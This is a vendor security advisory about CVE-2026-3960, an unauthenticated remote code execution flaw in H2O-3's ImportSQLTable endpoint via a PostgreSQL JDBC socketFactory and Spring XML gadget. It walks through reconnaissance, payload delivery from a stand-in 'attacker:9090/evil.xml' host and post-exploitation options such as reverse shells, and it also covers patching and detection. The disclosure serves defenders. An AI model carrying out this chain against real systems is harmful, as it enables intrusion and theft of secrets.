Threat intelligence

H2O-3 Unauthenticated RCE via PostgreSQL JDBC socketFactory

by Security News

H2O-3 /99/ImportSQLTable PostgreSQL JDBC socketFactory Unauthenticated Remote Code Execution (CVE-2026-3960)

Overview

SonicWall Capture Labs threat research team became aware of the threat CVE-2026-3960, assessed its impact, and developed mitigation measures for this vulnerability. The flaw, also known as the H2O-3 ImportSQLTable PostgreSQL JDBC SocketFactory RCE, is a critical remote code execution vulnerability affecting the open-source H2O-3 machine learning platform (h2oai/h2o-3) in all releases up to and including 3.46.0.9. The vulnerability allows an unauthenticated remote attacker to execute arbitrary commands as the H2O JVM user by sending a single POST /99/ImportSQLTable request whose connection_url form parameter carries a malicious PostgreSQL JDBC URL. Classified under CWE-94 (Improper Control of Generation of Code) and rated CVSS 9.8 (Critical, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), the flaw was reported through the huntr.dev bug bounty program with a complete PoC, so weaponization is trivial. The EPSS score is modest because EPSS telemetry lags newly published bounties, but the practical reproducibility (default-enabled endpoint, no auth, public PoC) places real-world risk well above what EPSS implies. Affected products include every H2O-3 deployment that exposes the REST API or Flow UI with the PostgreSQL JDBC driver and Spring Context library on the classpath, a configuration common to analytics and data science deployments. Fixes are available in H2O-3 3.46.0.10. Users should upgrade immediately.

Technical Overview

H2O-3 is an open-source distributed in-memory machine learning platform maintained by H2O.ai. The project sits at h2oai/h2o-3 on GitHub, carries roughly 7.5K stars and 2K forks, and ships under the Apache 2.0 license. H2O-3 powers tabular-data workflows for Deep Learning, GBM, XGBoost, Random Forest, GLM, K-Means, PCA, GAM, RuleFit, Stacked Ensembles, and AutoML, with R, Python, Scala, and Flow web front ends speaking to a single JVM backend.

The root cause of CVE-2026-3960 lives in h2o-core/src/main/java/water/jdbc/SQLManager.java. The validateJdbcUrl() function defends the JDBC import path by enforcing a denylist of dangerous JDBC parameters. In 3.46.0.9 the denylist covers MySQL gadget parameters (autoDeserialize, queryInterceptors, allowLoadLocalInfile, and others added in a 2024 hardening pass) and a small set of H2 driver parameters (init, script, shutdown). The PostgreSQL family of dangerous parameters (socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, loggerLevel, loggerFile) was not added. As a result, an attacker can supply a connection_url that names a PostgreSQL driver, sets socketFactory to a Spring ClassPathXmlApplicationContext class, and points socketFactoryArg at a remote XML URL. The validation passes, the handler reaches DriverManager.getConnection(), and the chain fires inside the JDBC driver.

figure1.png
Figure 1: Exploitation flow POST ImportSQLTable to JDBC socketFactory gadget to RCE
figure2.png
Figure 2: Vulnerable validateJdbcUrl denylist missing PostgreSQL params

The handler binds to 0.0.0.0:54321 by default with no authentication, accepts form parameters connection_url, table, username, and password, validates the JDBC URL through the denylist, and hands the URL to the JDK DriverManager.getConnection(); whichever driver registered for jdbc:postgresql: takes control.

figure3.png
Figure 3: Taint flow connection_url to Spring ClassPathXmlApplicationContext

Inside the PostgreSQL JDBC driver, org.postgresql.core.SocketFactoryFactory.getSocketFactory(props) reads PGProperty.SOCKET_FACTORY and PGProperty.SOCKET_FACTORY_ARG from the URL query string and calls org.postgresql.util.ObjectFactory.instantiate(className, props, /* tryString= */ true, stringArg). In pgjdbc 42.6 and earlier, instantiate() performs Class.forName(name).getConstructor(String.class).newInstance(arg) before any type check. The Spring ClassPathXmlApplicationContext(String configLocation) constructor matches the lookup, fires immediately, and proceeds to fetch the URL named in socketFactoryArg, parse it as Spring bean definitions, and invoke any registered init-method. The published exploit ships a single bean of class java.lang.ProcessBuilder with init-method="start", which runs bash -c <attacker-command> as the H2O JVM user.

figure4.png
Figure 4: Exploit helper Python source builds and posts the malicious JDBC URL

The security fix in H2O-3 3.46.0.10 (commit b9ae2d3c) adds the missing PostgreSQL JDBC gadget parameters (plus the MySQL statementInterceptors parameter) to DEFAULT_JDBC_DISALLOWED_PARAMETERS, and ships three JUnit cases that exercise the attack URL string verbatim to lock in regression coverage. Because the validation runs before DriverManager.getConnection(), the fix neutralizes the chain regardless of which PostgreSQL JDBC driver version is on the classpath.

figure5.png
Figure 5: Patch adds PostgreSQL params to JDBC disallowed list in 3.46.0.10

Triggering the Vulnerability

The following conditions must be met for successful exploitation of CVE-2026-3960:

  • Vulnerable H2O-3 Version: The target must be running H2O-3 at version 3.46.0.9 or earlier. The vulnerable code path lives in the core REST handler shipped with every flavor of the platform (single-JVM, cluster, Sparkling Water, Docker image, Kubernetes operator), so the deployment shape does not matter.
  • /99/ImportSQLTable Reachable from the Attacker: The H2O REST API and Flow UI share the same port (54321 by default) and bind to 0.0.0.0 in stock launches. Any host without an upstream reverse proxy, firewall, or auth layer accepts the request directly.
  • PostgreSQL JDBC Driver and Spring Context on the H2O Classpath: The gadget chain requires DriverManager.getConnection() to dispatch to a PostgreSQL driver and Spring's ClassPathXmlApplicationContext to be loadable. Production deployments that import tabular data from PostgreSQL typically ship the driver; Sparkling Water, custom UDF jars, and Spring-integrated scoring pipelines commonly add Spring Context.
  • Older PostgreSQL JDBC Driver (Optional): pgjdbc 42.6 and earlier instantiates the socketFactory class before checking the SocketFactory cast; pgjdbc 42.7 and later raise ClassCastException before the constructor fires. The H2O patch closes the chain at the H2O layer regardless of driver version, but the practical attack surface is wider against deployments that pinned an older pgjdbc.

Exploitation

Exploiting CVE-2026-3960 requires a single unauthenticated HTTP POST plus an attacker-controlled HTTP server reachable from the H2O JVM. The wire format is fixed by the vulnerable code: method POST, URI /99/ImportSQLTable, body parameters connection_url, table, username, password, with connection_url carrying the malicious PostgreSQL JDBC URL. The egress XML body controls the post-exploitation action and can describe any Spring bean wiring the attacker chooses (a ProcessBuilder shell command, a reverse shell, secret exfiltration, persistence, or any combination).

figure6.png
Figure 6: HTTP POST ImportSQLTable exploit request with URL-encoded body
Payload Key Components
ComponentValuePurpose
Target EndpointPOST /99/ImportSQLTableUnauthenticated REST route handled by ImportSQLTableHandler
Default Port54321H2O REST + Flow UI; any reachable port is exploitable
Body Encodingapplication/x-www-form-urlencodedRequired so the H2O schema binder populates ImportSQLTableV99
Required Parameterconnection_urlJDBC URL carrying socketFactory and socketFactoryArg
Gadget Classorg.springframework.context.support.ClassPathXmlApplicationContextConstructor takes a URL String and parses it as Spring beans
Egress FetchGET /evil.xml (fires twice)H2O JVM fetches attacker XML, runs bean init-method
Server ResponseHTTP/1.1 200 OK (JobV3 schema)H2O dispatches the import as an async Job
Attack Chain

Step 1. Reconnaissance: The attacker probes for a live H2O Flow surface with GET /3/About, which returns a JSON payload containing the H2O version string. A vulnerable build reports Build project version: 3.46.0.9 (or earlier). A POST against /99/ImportSQLTable with an empty body returns HTTP 412 (precondition failed); a GET returns 404. The 412 versus 401 distinction is a high-confidence indicator that the endpoint exists and is unauthenticated.

Step 2. Exploit Delivery: The attacker hosts a Spring XML payload (commonly served by python3 -m http.server on TCP 9090) wiring a java.lang.ProcessBuilder bean with init-method="start" and argv of [bash, -c, <command>], then sends a single POST /99/ImportSQLTable carrying the malicious JDBC URL in connection_url. H2O validates the URL, dispatches the Job, and returns HTTP 200 with a JobV3 schema; the gadget chain fires inside the worker thread.

Step 3. Post-Exploitation: Inside the worker, pgjdbc resolves the socketFactory parameter, ObjectFactory.instantiate calls new ClassPathXmlApplicationContext("http://attacker:9090/evil.xml"), and Spring fetches and parses the XML. ProcessBuilder.start() runs the attacker's command as the H2O JVM user. Routine follow-on actions include reading process environment for cluster secrets and cloud metadata tokens, dropping a webshell into the JVM working directory, exfiltrating local model artifacts, opening a PTY-backed reverse shell, or installing persistence. None of these are part of the vulnerability itself; they are the natural consequence of arbitrary command execution in the server process.

Exploitation Validation

Reproduction against H2O-3 3.46.0.9 confirmed full exploitation: a single POST returned HTTP 200, the JVM fetched the attacker XML, and a ProcessBuilder shell command executed as the JVM user. The same exploit body against patched 3.46.0.10 returns HTTP 400 with IllegalArgumentException: Potentially dangerous JDBC parameter found: socketFactory. Exploitation produces three observable network streams: the inbound POST to /99/ImportSQLTable, the JVM-initiated GETs for the Spring XML (two requests, due to the two-pass parse), and the optional reverse-shell socket.

Video Demonstration

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

Signature IDSignature Name
IPS: 22199H2O-3 JDBC socketFactory Remote Code Execution

Remediation Recommendations

The risks posed by CVE-2026-3960 can be mitigated or eliminated by:

  • Upgrade to H2O-3 3.46.0.10 or Later: Apply the official fix, which adds the PostgreSQL JDBC gadget parameters to the validateJdbcUrl() denylist. The check runs before driver dispatch, so the chain is closed regardless of which JDBC driver version is loaded.
  • Restrict and Authenticate Network Access: Bind H2O to a private interface or place it behind a reverse proxy that enforces authentication, and enable a built-in authentication backend (-jks, -ldap_configuration_file, -kerberos_login_module, PAM, or form-based) so anonymous access to /99/ImportSQLTable is rejected at the process layer. Add egress filtering so the H2O JVM cannot fetch arbitrary *.xml from the open internet.
  • Audit Classpath: The gadget chain only fires when both the PostgreSQL JDBC driver and Spring Context are loaded. Inventory deployed H2O jars and remove libraries that are not required for the workload, and pin pgjdbc to 42.7 or later so the driver itself blocks the socketFactory reflective instantiation.
  • Hunt for Exploitation Artifacts: Inspect H2O JVM logs for POST /99/ImportSQLTable requests with jdbc:postgresql: and socketFactory= in the body. On potentially compromised hosts, review files written under the JVM working directory. Also review outbound HTTP fetches from the JVM, in particular *.xml requests with a User-Agent that begins with Java/. Finally, inspect the H2O process tree for child shells, Python interpreters, and reverse-shell sockets.

Relevant Links

Attribution

Vulnerability disclosed through the huntr.dev bug bounty program under bounty identifier 6954fe04-b905-453f-8c53-205ac8377e0d and coordinated with the H2O.ai engineering team.

Third-party vulnerability database mirrors:

Share This Article

An Article By

Security News

The SonicWall Capture Labs Threat Research Team gathers, analyzes and vets cross-vector threat information from the SonicWall Capture Threat network, consisting of global devices and resources, including more than 1 million security sensors in nearly 200 countries and territories. The research team identifies, analyzes, and mitigates critical vulnerabilities and malware daily through in-depth research, which drives protection for all SonicWall customers. In addition to safeguarding networks globally, the research team supports the larger threat intelligence community by releasing weekly deep technical analyses of the most critical threats to small businesses, providing critical knowledge that defenders need to protect their networks.

Related Articles

  • Mesop AI Sandbox Unauthenticated Remote Code Execution
    Read More
  • Ghost CMS Content API Blind SQL Injection
    Read More